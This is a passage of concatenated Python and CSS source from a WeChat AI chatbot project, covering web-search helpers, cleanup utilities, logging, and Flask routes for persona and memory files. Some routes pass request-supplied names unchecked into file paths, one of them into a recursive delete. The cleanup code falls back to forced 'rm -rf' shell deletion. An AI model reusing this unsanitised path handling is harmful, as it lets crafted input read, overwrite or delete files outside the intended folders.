self.url_pattern.finditer(text) for match in matches: urls.append(match.group(0)) return urls def get_weblens_model(self) -> str: """ 获取网页内容提取模型 :return: 模型名称 """ return "kourichat-weblens" # 始终返回KouriChat模型 def get_search_model(self) -> str: """ 获取网络搜索模型 :return: 模型名称 """ return "kourichat-search" # 始终返回KouriChat模型 def extract_web_content_direct(self, url: str) -> Optional[str]: """ 直接使用 requests 调用 API 提取网页内容 :param url: 要提取内容的 URL :return: 提取的内容,如果失败则返回 None """ try: # 始终使用KouriChat模型 model = "kourichat-weblens" logger.info(f"使用模型 {model} 提取网页内容 (直接调用)") # 构建请求数据 # 直接传递URL,不包含提示词 user_content = url data = { "model": model, "messages": [ { "role": "user", "content": user_content } ] } # 发送请求 response = requests.post( f"{self.base_url}/chat/completions", headers=self.headers, json=data, timeout=120 ) # 检查响应状态 if response.status_code != 200: logger.error(f"API 请求失败 - 状态码: {response.status_code}, 响应: {response.text}") return None # 处理响应 result = response.json() if 'choices' not in result or not result['choices']: logger.error(f"API 响应格式异常: {result}") return None # 提取内容 content = result['choices'][0]['message']['content'] # 处理响应内容 if content: # 确保换行符被正确处理 content = content.replace('\r\n', '\n').replace('\r', '\n') # 添加摘要标记 if not content.startswith('#'): content = f"# 网页内容摘要\n\n{content}" # 确保最后有链接 if url not in content: content = f"{content}\n\n原始链接: {url}" print(content) return content except Exception as e: logger.error(f"直接提取网页内容失败: {str(e)}") return None def extract_web_content(self, url: str) -> Dict[str, str]: """ 提取网页内容,返回原始内容和总结版本 :param url: 要提取内容的 URL :return: 包含原始内容和总结的字典,如果失败则返回空字典 """ result = { 'original': None, # 原始网页内容 'summary': None # 总结版本,用于系统提示词 } try: # 始终使用KouriChat模型 model = "kourichat-weblens" logger.info(f"使用模型 {model} 提取网页内容") # 获取网页内容 # 直接传递URL,不包含提示词 user_content = url content_messages = [ { "role": "user", "content": user_content } ] # 重新初始化API请求 headers = { 'Authorization': f'Bearer {self.api_key}', 'Content-Type': 'application/json' } # 直接使用requests调用API而不是使用llm_service response = requests.post( f"{self.base_url}/chat/completions", headers=headers, json={ "model": model, "messages": content_messages }, timeout=120 ) # 检查响应 if response.status_code != 200: logger.error(f"提取网页内容API请求失败: {response.status_code}") return result response_data = response.json() web_content = response_data['choices'][0]['message']['content'] if not web_content: logger.error("网页内容提取结果为空") return result # 格式化原始内容 formatted_content = web_content.replace('\r\n', '\n').replace('\r', '\n') if not formatted_content.startswith('#'): formatted_content = f"# 网页内容摘要\n\n{formatted_content}" if url not in formatted_content: formatted_content = f"{formatted_content}\n\n原始链接: {url}" # 保存原始网页内容 result['original'] = f"以下是链接 {url} 的内容,可作为你的回复参考,但无需直接提及内容来源:\n\n{formatted_content}" logger.info("获取到网页内容,总结将在异步线程中生成") # 总结将在异步线程中生成,不占用当前对话的时间 return result except Exception as e: logger.error(f"提取网页内容失败: {str(e)}") return result def search_internet(self, query: str, conversation_context: str = None) -> Dict[str, str]: """ 搜索互联网,返回原始搜索结果和总结版本 :param query: 搜索查询 :param conversation_context: 对话上下文,用于提供更多背景信息 :return: 包含原始结果和总结的字典,如果失败则返回空字典 """ result = { 'original': None, # 原始搜索结果 'summary': None # 总结版本,用于系统提示词 } try: # 始终使用KouriChat模型 model = "kourichat-search" logger.info(f"使用模型 {model} 搜索互联网") # 获取搜索结果 # 直接传递查询,不包含提示词 user_content = query # 如果有对话上下文,添加到查询中 if conversation_context: user_content = f"本次对话上下文: {conversation_context}\n\n搜索查询: {query}" search_messages = [ { "role": "user", "content": user_content } ] # 重新初始化API请求 headers = { 'Authorization': f'Bearer {self.api_key}', 'Content-Type': 'application/json' } # 直接使用requests调用API而不是使用llm_service response = requests.post( f"{self.base_url}/chat/completions", headers=headers, json={ "model": model, "messages": search_messages }, timeout=120 ) # 检查响应 if response.status_code != 200: logger.error(f"搜索互联网API请求失败: {response.status_code}") return result response_data = response.json() search_result = response_data['choices'][0]['message']['content'] if not search_result: logger.error("搜索结果为空") return result # 保存原始搜索结果 result['original'] = f"以下是关于\"{query}\"的搜索结果,可作为你的回复参考,但无需直接提及搜索结果来源:\n\n{search_result}" logger.info("获取到搜索结果,总结将在异步线程中生成") # 总结将在异步线程中生成,不占用当前对话的时间 return result except Exception as e: logger.error(f"搜索互联网失败: {str(e)}") return result def process_message(self, message: str) -> Tuple[bool, Dict[str, str], str]: """ 处理消息,只检测URL提取网页内容 :param message: 用户消息 :return: (是否处理, 处理结果字典, 处理类型) """ # 只检测 URL,搜索意图由 TimeRecognitionService 处理 if WEBLENS_ENABLED: urls = self.detect_urls(message) if urls: url = urls[0] # 只处理第一个 URL logger.info(f"检测到 URL: {url},正在提取内容...") # 提取网页内容,获取原始内容和总结 result = self.extract_web_content(url) # 如果提取失败,不添加任何内容,直接返回空结果 if not result['original']: logger.info(f"提取网页内容失败,不添加任何内容到请求中") if result['original']: return True, result, "weblens" return False, {'original': None, 'summary': None}, ""
2302_81798979/KouriChat
src/services/ai/network_search_service.py
Python
unknown
11,357
""" 数据库服务模块 提供数据库相关功能,包括: - 定义数据库模型 - 创建数据库连接 - 管理会话 - 存储聊天记录 """ import os from datetime import datetime from sqlalchemy import create_engine, Column, Integer, String, DateTime, Text from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker # 创建基类 Base = declarative_base() # 获取项目根目录 project_root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) db_path = os.path.join(project_root, 'data', 'database', 'chat_history.db') # 确保数据库目录存在 os.makedirs(os.path.dirname(db_path), exist_ok=True) # 创建数据库连接 engine = create_engine(f'sqlite:///{db_path}') # 创建会话工厂 Session = sessionmaker(bind=engine) class ChatMessage(Base): __tablename__ = 'chat_messages' id = Column(Integer, primary_key=True) sender_id = Column(String(100)) # 发送者微信ID sender_name = Column(String(100)) # 发送者昵称 message = Column(Text) # 发送的消息 reply = Column(Text) # 机器人的回复 created_at = Column(DateTime, default=datetime.now) # 创建数据库表 Base.metadata.create_all(engine)
2302_81798979/KouriChat
src/services/database.py
Python
unknown
1,244
""" 清理工具模块 负责清理系统中的临时文件和缓存,包括: - 清理wxauto文件夹 - 清理screenshot文件夹 - 清理__pycache__文件夹 - 提供统一的清理接口 """ import os import shutil import logging import time logger = logging.getLogger(__name__) class CleanupUtils: def __init__(self, root_dir: str): self.root_dir = root_dir self.wxauto_dir = os.path.join(root_dir, "wxautoFiles") self.screenshot_dir = os.path.join(root_dir, "screenshot") def cleanup_wxauto_files(self): """清理wxauto文件夹""" try: logger.info(f"正在检查目录: {self.wxauto_dir}") if not os.path.exists(self.wxauto_dir): logger.info("wxauto文件夹不存在,无需清理") return max_retries = 3 for attempt in range(max_retries): try: files = os.listdir(self.wxauto_dir) if not files: logger.info("wxauto文件夹为空,无需清理") return deleted_count = 0 for file in files: try: file_path = os.path.join(self.wxauto_dir, file) if os.path.isfile(file_path): try: os.chmod(file_path, 0o777) except: pass os.remove(file_path) deleted_count += 1 elif os.path.isdir(file_path): shutil.rmtree(file_path, ignore_errors=True) deleted_count += 1 except PermissionError: logger.warning(f"文件被占用,无法删除: {file_path}") continue except Exception as e: logger.error(f"删除失败 {file_path}: {str(e)}") continue try: if os.path.exists(self.wxauto_dir): os.rmdir(self.wxauto_dir) logger.info("成功删除wxauto文件夹") except: pass logger.info(f"清理完成,共删除 {deleted_count} 个文件/文件夹") break except Exception as e: if attempt < max_retries - 1: logger.warning(f"清理失败,正在重试 ({attempt + 1}/{max_retries})") time.sleep(1) else: raise except Exception as e: logger.error(f"清理wxauto文件夹时发生错误: {str(e)}") def cleanup_screenshot(self): """清理screenshot文件夹""" try: if os.path.isdir(self.screenshot_dir): shutil.rmtree(self.screenshot_dir) logger.info(f"目录 {self.screenshot_dir} 已成功删除") else: logger.info(f"目录 {self.screenshot_dir} 不存在,无需删除") except Exception as e: logger.error(f"清理screenshot目录失败: {str(e)}") def cleanup_update_files(self): """清理更新残留文件和目录""" try: # 清理backup目录 backup_dir = os.path.join(self.root_dir, "backup") if os.path.exists(backup_dir): try: shutil.rmtree(backup_dir) logger.info(f"已清理备份目录: {backup_dir}") except Exception as e: logger.error(f"清理备份目录失败: {str(e)}") # 尝试使用系统命令强制删除 try: import subprocess if os.name == 'nt': # Windows subprocess.run(['rd', '/s', '/q', backup_dir], shell=True) else: # Linux/Mac subprocess.run(['rm', '-rf', backup_dir]) except Exception as e2: logger.error(f"使用系统命令清理备份目录失败: {str(e2)}") # 清理KouriChat-Kourichat-Festival-Test目录 test_dir = os.path.join(self.root_dir, "KouriChat-Kourichat-Festival-Test") if os.path.exists(test_dir): try: shutil.rmtree(test_dir) logger.info(f"已清理测试目录: {test_dir}") except Exception as e: logger.error(f"清理测试目录失败: {str(e)}") # 尝试使用系统命令强制删除 try: import subprocess if os.name == 'nt': # Windows subprocess.run(['rd', '/s', '/q', test_dir], shell=True) else: # Linux/Mac subprocess.run(['rm', '-rf', test_dir]) except Exception as e2: logger.error(f"使用系统命令清理测试目录失败: {str(e2)}") except Exception as e: logger.error(f"清理更新残留文件失败: {str(e)}") def cleanup_all(self): """执行所有清理操作""" try: # 清理各个handler的临时目录 self.cleanup_wxauto_files() # 清理pycache cleanup_pycache() # 清理screenshot文件夹 self.cleanup_screenshot() # 清理更新残留文件 self.cleanup_update_files() logger.info("所有清理操作完成") except Exception as e: logger.error(f"清理操作失败: {str(e)}") def cleanup_pycache(): """递归清理所有__pycache__文件夹""" root_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) for root, dirs, files in os.walk(root_dir): if '__pycache__' in dirs: pycache_path = os.path.join(root, '__pycache__') try: shutil.rmtree(pycache_path) logger.info(f"已清理: {pycache_path}") except Exception as e: logger.error(f"清理失败 {pycache_path}: {str(e)}")
2302_81798979/KouriChat
src/utils/cleanup.py
Python
unknown
6,679
""" 控制台输出相关的工具函数 包含: - 状态信息打印 - 横幅打印 等功能 """ from colorama import Fore, Style import sys def print_status(message: str, status: str = "info", icon: str = ""): """ 打印带颜色和表情的状态消息 Args: message (str): 要打印的消息 status (str): 状态类型 ("success", "info", "warning", "error") icon (str): 消息前的图标 """ try: colors = { "success": Fore.GREEN, "info": Fore.BLUE, "warning": Fore.YELLOW, "error": Fore.RED } color = colors.get(status, Fore.WHITE) # ASCII文本到emoji的映射 icon_map = { "LAUNCH": "🚀", "FILE": "📁", "CONFIG": "⚙️", "CHECK": "✅", "CROSS": "❌", "CLEAN": "🧹", "TRASH": "🗑️", "STAR_1": "✨", "STAR_2": "🌟", "BOT": "🤖", "STOP": "🛑", "BYE": "👋", "ERROR": "💥", "SEARCH": "🔍", "BRAIN": "🧠", "ANTENNA": "📡", "CHAIN": "🔗", "INTERNET": "🌐", "CLOCK": "⏰", "SYNC": "🔄", "WARNING": "⚠️", "+": "📁", "*": "⚙️", "X": "❌", ">>": "🚀", } safe_icon = icon_map.get(icon, icon) # 如果找不到映射,保留原始输入 print(f"{color}{safe_icon} {message}{Style.RESET_ALL}") except Exception: # 如果出现编码错误,不使用颜色和图标 print(f"{message}") def print_banner(): """ 打印程序启动横幅 """ try: banner = f""" {Fore.CYAN} ╔══════════════════════════════════════════════╗ ║ KouriChat - AI Chat ║ ║ Created by KouriChat Team ║ ║ https://github.com/KouriChat/KouriChat ║ ╚══════════════════════════════════════════════╝ KouriChat - AI Chat Copyright (C) 2025, DeepAnima Network Technology Studio It's freeware, and if you bought it for money, you've been scammed! 这是免费软件,如果你是花钱购买的,说明你被骗了! {Style.RESET_ALL}""" print(banner) except Exception: # 如果出现编码错误,使用简单版本 print("\nKouriChat - AI Chat\n")
2302_81798979/KouriChat
src/utils/console.py
Python
unknown
2,661
""" 日志工具模块 提供日志记录功能,包括: - 日志配置管理 - 日志文件轮转 - 日志清理 - 多级别日志记录 """ import logging import os from logging.handlers import RotatingFileHandler from datetime import datetime from typing import Optional class LoggerConfig: def __init__(self, root_dir: str): self.root_dir = root_dir self.log_dir = os.path.join(root_dir, "logs") self.ensure_log_dir() def ensure_log_dir(self): """确保日志目录存在""" if not os.path.exists(self.log_dir): os.makedirs(self.log_dir) def get_log_file(self): """获取日志文件路径""" current_date = datetime.now().strftime("%Y%m%d") return os.path.join(self.log_dir, f"bot_{current_date}.log") def setup_logger(self, name: Optional[str] = None, level: int = logging.INFO): """配置日志记录器""" # 创建或获取日志记录器 logger = logging.getLogger(name) logger.setLevel(level) logger.propagate = True # 确保日志能正确传播 # 移除所有已有的handler,防止重复 for handler in logger.handlers[:]: logger.removeHandler(handler) # 创建控制台处理器 console_handler = logging.StreamHandler() console_handler.setLevel(level) console_formatter = logging.Formatter( '%(asctime)s - %(levelname)s - %(message)s' ) console_handler.setFormatter(console_formatter) logger.addHandler(console_handler) # 创建文件处理器 file_handler = RotatingFileHandler( self.get_log_file(), maxBytes=10*1024*1024, # 10MB backupCount=5, encoding='utf-8' ) file_handler.setLevel(level) file_formatter = logging.Formatter( '%(asctime)s - %(name)s - %(levelname)s - %(message)s' ) file_handler.setFormatter(file_formatter) logger.addHandler(file_handler) return logger def cleanup_old_logs(self, days: int = 7): """清理指定天数之前的日志文件""" try: current_date = datetime.now() for filename in os.listdir(self.log_dir): if not filename.startswith("bot_") or not filename.endswith(".log"): continue file_path = os.path.join(self.log_dir, filename) file_date_str = filename[4:12] # 提取日期部分 YYYYMMDD try: file_date = datetime.strptime(file_date_str, "%Y%m%d") days_old = (current_date - file_date).days if days_old > days: os.remove(file_path) print(f"已删除旧日志文件: {filename}") except ValueError: continue except Exception as e: print(f"清理日志文件失败: {str(e)}")
2302_81798979/KouriChat
src/utils/logger.py
Python
unknown
3,045
from pathlib import Path import os import shutil AVATARS_DIR = Path('data/avatars') def read_avatar_sections(file_path): sections = { 'task': '', 'role': '', 'appearance': '', 'experience': '', 'personality': '', 'classic_lines': '', 'preferences': '', 'notes': '' } current_section = None content = [] try: with open(file_path, 'r', encoding='utf-8') as file: lines = file.readlines() for line in lines: line = line.strip() if line.startswith('# '): # 如果之前有section,保存其内容 if current_section and content: sections[current_section.lower()] = '\n'.join(content).strip() content = [] # 获取新的section名称 current_section = line[2:].lower() elif current_section and line: content.append(line) # 保存最后一个section的内容 if current_section and content: sections[current_section.lower()] = '\n'.join(content).strip() return sections except Exception as e: print(f"Error reading avatar file: {e}") return sections def save_avatar_sections(file_path, sections): """保存人设设定到文件""" try: content = [] for section, text in sections.items(): # 将section名称首字母大写 section_name = section.replace('_', ' ').title() content.append(f"# {section_name}") content.append(text.strip()) content.append("") # 添加空行分隔 with open(file_path, 'w', encoding='utf-8') as file: file.write('\n'.join(content)) return True except Exception as e: print(f"Error saving avatar file: {e}") return False def create_avatar(avatar_name): """创建新的人设目录和文件""" try: avatar_dir = AVATARS_DIR / avatar_name if avatar_dir.exists(): return False, "人设已存在" # 创建目录结构 avatar_dir.mkdir(parents=True, exist_ok=True) (avatar_dir / 'emojis').mkdir(exist_ok=True) # 创建avatar.md文件 avatar_file = avatar_dir / 'avatar.md' template_sections = { 'task': '请在此处描述角色的任务和目标', 'role': '请在此处描述角色的基本信息', 'appearance': '请在此处描述角色的外表特征', 'experience': '请在此处描述角色的经历和背景故事', 'personality': '请在此处描述角色的性格特点', 'classic_lines': '请在此处列出角色的经典台词', 'preferences': '请在此处描述角色的喜好', 'notes': '其他需要补充的信息' } save_avatar_sections(avatar_file, template_sections) return True, "人设创建成功" except Exception as e: return False, str(e) def delete_avatar(avatar_name): """删除人设""" try: avatar_dir = AVATARS_DIR / avatar_name if not avatar_dir.exists(): return False, "人设不存在" shutil.rmtree(avatar_dir) return True, "人设删除成功" except Exception as e: return False, str(e) def get_available_avatars(): """获取所有可用的人设列表""" try: if not AVATARS_DIR.exists(): return [] return [d.name for d in AVATARS_DIR.iterdir() if d.is_dir()] except Exception as e: print(f"Error getting available avatars: {e}") return [] def get_avatar_file_path(avatar_name): """获取人设文件路径""" return AVATARS_DIR / avatar_name / 'avatar.md'
2302_81798979/KouriChat
src/webui/avatar_manager.py
Python
unknown
3,999
import os import shutil import json from flask import Blueprint, jsonify, request from pathlib import Path from datetime import datetime avatar_bp = Blueprint('avatar', __name__) AVATARS_DIR = Path('data/avatars') def parse_md_content(content): """解析markdown内容为字典格式""" sections = { '任务': 'task', '角色': 'role', '外表': 'appearance', '经历': 'experience', '性格': 'personality', '经典台词': 'classic_lines', '喜好': 'preferences', '备注': 'notes' } result = {v: '' for v in sections.values()} current_section = None current_content = [] for line in content.split('\n'): line = line.strip() if not line: continue if line.startswith('# '): if current_section and current_content: result[sections.get(current_section, 'notes')] = '\n'.join(current_content) current_content = [] current_section = line[2:].strip() continue if current_section: current_content.append(line) # 处理最后一个部分 if current_section and current_content: result[sections.get(current_section, 'notes')] = '\n'.join(current_content) return result @avatar_bp.route('/get_available_avatars') def get_available_avatars(): """获取所有可用的人设列表""" try: if not AVATARS_DIR.exists(): return jsonify({'status': 'success', 'avatars': []}) avatars = [d.name for d in AVATARS_DIR.iterdir() if d.is_dir()] return jsonify({'status': 'success', 'avatars': avatars}) except Exception as e: return jsonify({'status': 'error', 'message': str(e)}) @avatar_bp.route('/load_avatar_content') def load_avatar_content(): """加载指定人设的内容""" avatar = request.args.get('avatar') if not avatar: return jsonify({'status': 'error', 'message': '未指定人设名称'}) try: avatar_dir = AVATARS_DIR / avatar avatar_file = avatar_dir / 'avatar.md' if not avatar_file.exists(): return jsonify({'status': 'error', 'message': '人设文件不存在'}) with open(avatar_file, 'r', encoding='utf-8') as f: content = f.read() parsed_content = parse_md_content(content) return jsonify({ 'status': 'success', 'content': parsed_content, 'raw_content': content }) except Exception as e: return jsonify({'status': 'error', 'message': str(e)}) @avatar_bp.route('/create_avatar', methods=['POST']) def create_avatar(): """创建新的人设""" try: data = request.get_json() avatar_name = data.get('avatar_name') if not avatar_name: return jsonify({'status': 'error', 'message': '未提供人设名称'}) # 创建人设目录 avatar_dir = AVATARS_DIR / avatar_name if avatar_dir.exists(): return jsonify({'status': 'error', 'message': '该人设已存在'}) # 创建目录结构 avatar_dir.mkdir(parents=True) (avatar_dir / 'emojis').mkdir() # 创建avatar.md文件 avatar_file = avatar_dir / 'avatar.md' template = """# 任务 请在此处描述角色的任务和目标 # 角色 请在此处描述角色的基本信息 # 外表 请在此处描述角色的外表特征 # 经历 请在此处描述角色的经历和背景故事 # 性格 请在此处描述角色的性格特点 # 经典台词 请在此处列出角色的经典台词 # 喜好 请在此处描述角色的喜好 # 备注 其他需要补充的信息 """ with open(avatar_file, 'w', encoding='utf-8') as f: f.write(template) return jsonify({'status': 'success'}) except Exception as e: return jsonify({'status': 'error', 'message': str(e)}) @avatar_bp.route('/delete_avatar', methods=['POST']) def delete_avatar(): """删除人设""" try: data = request.get_json() avatar_name = data.get('avatar_name') if not avatar_name: return jsonify({'status': 'error', 'message': '未提供人设名称'}) avatar_dir = AVATARS_DIR / avatar_name if not avatar_dir.exists(): return jsonify({'status': 'error', 'message': '人设不存在'}) # 删除整个人设目录 shutil.rmtree(avatar_dir) return jsonify({'status': 'success', 'message': '人设已删除'}) except Exception as e: return jsonify({'status': 'error', 'message': str(e)}) @avatar_bp.route('/save_avatar', methods=['POST']) def save_avatar(): """保存人设设定""" data = request.get_json() avatar_name = data.get('avatar') if not avatar_name: return jsonify({'status': 'error', 'message': '未提供人设名称'}) try: avatar_dir = AVATARS_DIR / avatar_name avatar_file = avatar_dir / 'avatar.md' if not avatar_dir.exists(): return jsonify({'status': 'error', 'message': '人设目录不存在'}) # 构建markdown内容 content = f"""# 任务 {data.get('task', '')} # 角色 {data.get('role', '')} # 外表 {data.get('appearance', '')} # 经历 {data.get('experience', '')} # 性格 {data.get('personality', '')} # 经典台词 {data.get('classic_lines', '')} # 喜好 {data.get('preferences', '')} # 备注 {data.get('notes', '')} """ # 保存文件 with open(avatar_file, 'w', encoding='utf-8') as f: f.write(content) return jsonify({'status': 'success'}) except Exception as e: return jsonify({'status': 'error', 'message': str(e)}) @avatar_bp.route('/save_avatar_raw', methods=['POST']) def save_avatar_raw(): """保存原始Markdown内容""" try: data = request.get_json() avatar_name = data.get('avatar') content = data.get('content') if not avatar_name: return jsonify({'status': 'error', 'message': '未提供人设名称'}) if content is None: return jsonify({'status': 'error', 'message': '未提供内容'}) avatar_dir = AVATARS_DIR / avatar_name avatar_file = avatar_dir / 'avatar.md' if not avatar_dir.exists(): return jsonify({'status': 'error', 'message': '人设目录不存在'}) # 保存原始内容 with open(avatar_file, 'w', encoding='utf-8') as f: f.write(content) return jsonify({'status': 'success'}) except Exception as e: return jsonify({'status': 'error', 'message': str(e)}) @avatar_bp.route('/load_core_memory') def load_core_memory(): """加载角色的核心记忆内容""" try: avatar_name = request.args.get('avatar') user_id = request.args.get('user_id', 'default') # 添加用户ID参数,默认为default if not avatar_name: return jsonify({'status': 'error', 'message': '未提供角色名称'}) # 修改为用户特定的记忆路径 memory_path = AVATARS_DIR / avatar_name / 'memory' / user_id / 'core_memory.json' # 如果记忆文件不存在,则创建目录结构 if not memory_path.exists(): # 创建记忆目录 memory_dir = AVATARS_DIR / avatar_name / 'memory' / user_id memory_dir.mkdir(parents=True, exist_ok=True) # 创建空的核心记忆文件 - 使用新的单个对象格式 initial_core_data = { "timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"), "content": "" # 初始为空字符串 } with open(memory_path, 'w', encoding='utf-8') as f: json.dump(initial_core_data, f, ensure_ascii=False, indent=2) return jsonify({'status': 'success', 'content': ''}) # 读取核心记忆文件 with open(memory_path, 'r', encoding='utf-8') as f: data = json.load(f) # 处理数组格式(旧格式) if isinstance(data, list) and len(data) > 0: content = data[0].get("content", "") # 将旧格式迁移为新格式 try: # 将旧格式转换为新的单个对象格式 new_data = { "timestamp": data[0].get("timestamp", datetime.now().strftime("%Y-%m-%d %H:%M:%S")), "content": content } # 保存为新格式 with open(memory_path, 'w', encoding='utf-8') as f_write: json.dump(new_data, f_write, ensure_ascii=False, indent=2) except Exception as e: print(f"迁移核心记忆格式失败: {str(e)}") else: # 新格式(单个对象) content = data.get('content', '') return jsonify({'status': 'success', 'content': content}) except Exception as e: return jsonify({'status': 'error', 'message': str(e)}) @avatar_bp.route('/save_core_memory', methods=['POST']) def save_core_memory(): """保存角色的核心记忆内容""" try: data = request.get_json() avatar_name = data.get('avatar') user_id = data.get('user_id', 'default') # 添加用户ID参数,默认为default content = data.get('content', '') if not avatar_name: return jsonify({'status': 'error', 'message': '未提供角色名称'}) # 确保记忆目录存在 memory_dir = AVATARS_DIR / avatar_name / 'memory' / user_id memory_dir.mkdir(parents=True, exist_ok=True) memory_path = memory_dir / 'core_memory.json' # 保存核心记忆(使用新的单个对象格式) memory_data = { "timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"), "content": content } with open(memory_path, 'w', encoding='utf-8') as f: json.dump(memory_data, f, ensure_ascii=False, indent=2) return jsonify({'status': 'success'}) except Exception as e: return jsonify({'status': 'error', 'message': str(e)}) @avatar_bp.route('/load_short_memory') def load_short_memory(): """加载角色的短期记忆内容""" try: avatar_name = request.args.get('avatar') user_id = request.args.get('user_id', 'default') # 添加用户ID参数,默认为default if not avatar_name: return jsonify({'status': 'error', 'message': '未提供角色名称'}) memory_path = AVATARS_DIR / avatar_name / 'memory' / user_id / 'short_memory.json' # 如果记忆文件不存在,则返回空内容 if not memory_path.exists(): # 创建记忆目录 memory_dir = AVATARS_DIR / avatar_name / 'memory' / user_id memory_dir.mkdir(parents=True, exist_ok=True) # 创建空的短期记忆文件 with open(memory_path, 'w', encoding='utf-8') as f: json.dump([], f, ensure_ascii=False, indent=2) return jsonify({'status': 'success', 'conversations': []}) # 读取短期记忆文件 with open(memory_path, 'r', encoding='utf-8') as f: conversations = json.load(f) return jsonify({'status': 'success', 'conversations': conversations}) except Exception as e: return jsonify({'status': 'error', 'message': str(e)}) @avatar_bp.route('/save_short_memory', methods=['POST']) def save_short_memory(): """保存角色的短期记忆内容""" try: data = request.get_json() avatar_name = data.get('avatar') user_id = data.get('user_id', 'default') # 添加用户ID参数,默认为default conversations = data.get('conversations', []) if not avatar_name: return jsonify({'status': 'error', 'message': '未提供角色名称'}) # 确保记忆目录存在 memory_dir = AVATARS_DIR / avatar_name / 'memory' / user_id memory_dir.mkdir(parents=True, exist_ok=True) memory_path = memory_dir / 'short_memory.json' # 保存短期记忆 with open(memory_path, 'w', encoding='utf-8') as f: json.dump(conversations, f, ensure_ascii=False, indent=2) return jsonify({'status': 'success'}) except Exception as e: return jsonify({'status': 'error', 'message': str(e)}) @avatar_bp.route('/clear_short_memory', methods=['POST']) def clear_short_memory(): """清空角色的短期记忆内容""" try: data = request.get_json() avatar_name = data.get('avatar') user_id = data.get('user_id', 'default') # 添加用户ID参数,默认为default if not avatar_name: return jsonify({'status': 'error', 'message': '未提供角色名称'}) # 确保记忆目录存在 memory_dir = AVATARS_DIR / avatar_name / 'memory' / user_id memory_dir.mkdir(parents=True, exist_ok=True) memory_path = memory_dir / 'short_memory.json' # 清空短期记忆 with open(memory_path, 'w', encoding='utf-8') as f: json.dump([], f, ensure_ascii=False, indent=2) return jsonify({'status': 'success'}) except Exception as e: return jsonify({'status': 'error', 'message': str(e)}) # 添加清空核心记忆的路由 @avatar_bp.route('/clear_core_memory', methods=['POST']) def clear_core_memory(): """清空角色的核心记忆内容""" try: data = request.get_json() avatar_name = data.get('avatar') user_id = data.get('user_id', 'default') # 添加用户ID参数,默认为default if not avatar_name: return jsonify({'status': 'error', 'message': '未提供角色名称'}) # 确保记忆目录存在 memory_dir = AVATARS_DIR / avatar_name / 'memory' / user_id memory_dir.mkdir(parents=True, exist_ok=True) memory_path = memory_dir / 'core_memory.json' # 清空核心记忆,但保留文件结构(使用新的单个对象格式) memory_data = { "timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"), "content": "" } with open(memory_path, 'w', encoding='utf-8') as f: json.dump(memory_data, f, ensure_ascii=False, indent=2) return jsonify({'status': 'success'}) except Exception as e: return jsonify({'status': 'error', 'message': str(e)}) @avatar_bp.route('/get_avatar_users') def get_avatar_users(): """获取指定角色的所有用户目录""" try: avatar_name = request.args.get('avatar') if not avatar_name: return jsonify({'status': 'error', 'message': '未提供角色名称'}) # 检查该角色的记忆目录 memory_dir = AVATARS_DIR / avatar_name / 'memory' if not memory_dir.exists(): memory_dir.mkdir(exist_ok=True) return jsonify({'status': 'success', 'users': []}) # 获取所有用户目录 users = [d.name for d in memory_dir.iterdir() if d.is_dir()] # 如果没有用户,添加一个默认用户 if not users: users = ['default'] # 创建默认用户目录 default_dir = memory_dir / 'default' default_dir.mkdir(exist_ok=True) return jsonify({'status': 'success', 'users': users}) except Exception as e: return jsonify({'status': 'error', 'message': str(e)})
2302_81798979/KouriChat
src/webui/routes/avatar.py
Python
unknown
16,358
/* 配置页面样式文件 */ :root { --primary-color: #6366f1; --secondary-color: #4f46e5; --background-color: #f8fafc; --text-color: #1e293b; --card-bg: rgba(255, 255, 255, 0.8); --card-border: rgba(255, 255, 255, 0.5); --card-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); } [data-bs-theme="dark"] { --primary-color: #818cf8; --secondary-color: #6366f1; --background-color: #0f172a; --text-color: #e2e8f0; --card-bg: rgba(30, 41, 59, 0.8); --card-border: rgba(255, 255, 255, 0.1); --card-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.2), 0 2px 4px -1px rgba(0, 0, 0, 0.1); } html, body { height: 100%; margin: 0; padding: 0; } body { background: var(--background-color); color: var(--text-color); transition: all 0.3s ease; background-repeat: no-repeat; background-size: cover; background-position: center; background-attachment: fixed; min-height: 100vh; display: flex; flex-direction: column; } main { flex: 1 0 auto; width: 100%; padding: 2rem 0; } /* 配置区域样式 */ .config-section { background: var(--card-bg); -webkit-backdrop-filter: blur(5px); backdrop-filter: blur(5px); border-radius: 1rem; border: 1px solid var(--card-border); box-shadow: var(--card-shadow); padding: 2rem; margin-bottom: 2rem; transition: all 0.3s ease; position: relative; overflow: hidden; opacity: 0; transform: translateY(20px); animation: slideUp 0.5s ease forwards; animation-delay: 0.1s; } @keyframes slideUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .config-section::before { content: ''; position: absolute; top: 0; left: 0; right: 0; height: 3px; background: linear-gradient(to right, var(--primary-color), var(--secondary-color)); opacity: 0.5; } /* 表单控件样式 */ .form-control, .form-select { width: 100%; padding: 0.5rem 0.75rem; border-radius: 0.5rem; border: 1px solid var(--card-border) !important; background: var(--card-bg); color: var(--text-color); transition: all 0.3s ease; } .form-control:focus, .form-select:focus { border-color: var(--primary-color) !important; box-shadow: 0 0 0 0.25rem rgba(99, 102, 241, 0.25); outline: none; transform: translateY(-2px); } .form-label { display: flex; align-items: center; margin-bottom: 0.5rem; font-weight: 500; transition: all 0.3s ease; } .form-label:hover { color: var(--primary-color); } /* 徽章样式 */ .badge-info { background: var(--primary-color); cursor: pointer; } .badge { transition: all 0.3s ease; } .badge:hover { transform: scale(1.1); } /* 手风琴样式 */ .accordion-button { background: transparent !important; border: none; } .accordion-button:not(.collapsed) { background: rgba(var(--bs-primary-rgb), 0.1); color: var(--primary-color); } .accordion-item { background: transparent; border-color: var(--card-border); } /* 导航栏样式 */ .navbar { background: var(--card-bg) !important; -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); border-bottom: 1px solid var(--card-border); } /* 输入框组样式 */ .input-group { border: 1px solid var(--card-border); border-radius: 0.5rem; overflow: hidden; } .input-group .form-control { border: none !important; } /* 配置项容器样式 */ .config-item { margin-bottom: 1.5rem; padding: 1rem; border-radius: 0.5rem; background: rgba(255, 255, 255, 0.05); border: 1px solid rgba(255, 255, 255, 0.1); transition: all 0.3s 